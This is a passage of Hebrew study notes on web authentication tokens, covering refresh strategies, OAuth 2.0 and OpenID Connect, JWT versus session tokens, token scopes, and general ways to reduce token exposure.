- אם הטוקן נשמר בצד הלקוח ללא הצפנה או עם גישה לא מבוקרת, תוקף יכול לגשת אליו.
- הגבלות גישה ב- JavaScript במידה ונשמר ב- Local Storage

## אסטרטגיות חידוש טוקנים Token Refresh Strategies

- אסטרטגיות חידוש טוקנים Token Refresh Strategies
- 1. חידוש יזום:
- הלקוח שולח Refresh Token כאשר ה- Access Token פג תוקף.
- יתרון: מפחית תעבורה.
- חיסרון: דורש ניהול חכם של Refresh Tokens.
- 2. חידוש מתמשך:
- השרת שולח Access Token חדש בכל פעם שהלקוח משתמש בטוקן קיים.
- יתרון: גישה נוחה יותר.
- חיסרון: יכול להעמיס על השרת.

## תקנים וכלים בתעשייה

- תקנים וכלים בתעשייה
- OAuth 2.0:
- תקן המאפשר גישה מוגבלת למשאבים מבלי לחשוף סיסמאות.
- משתמש ב- Access Tokens ו- Refresh Tokens
- דוגמה:
- משתמש מאמת מול שרת הזדהות Authorization Server
- השרת מחזיר טוקן.
- הטוקן משמש לביצוע פעולות מול שרתי ה-API
- OpenID Connect (OIDC):
- הרחבה של OAuth 2.0
- מספק מידע נוסף על המשתמש (פרופיל, אימייל).

## דגשים ותובנות מתקדמות

- דגשים ותובנות מתקדמות:
- כיצד להחליט בין JWT לטוקנים מבוססי Session:
- JWT מתאים למערכות מבוזרות שבהן השרתים צריכים להיות חסרי-מצב
- Session Tokens מתאים למערכות ריכוזיות שבהן קל לנהל ולבטל טוקנים בשרת Stateless
- הגדרת טוקן ל- Scope מסוים:
- הגבלת טוקן לפעולות או משאבים מסוימים בלבד.
- לדוגמה, טוקן שתקף רק לקריאת נתונים ולא לכתיבה.
- הפחתת חשיפת טוקנים:
- הגבל את הטוקן לפעול רק מהדומיין שבו נוצר.

• השתמש באימות דו-שלבי לביצוע פעולות רגישות.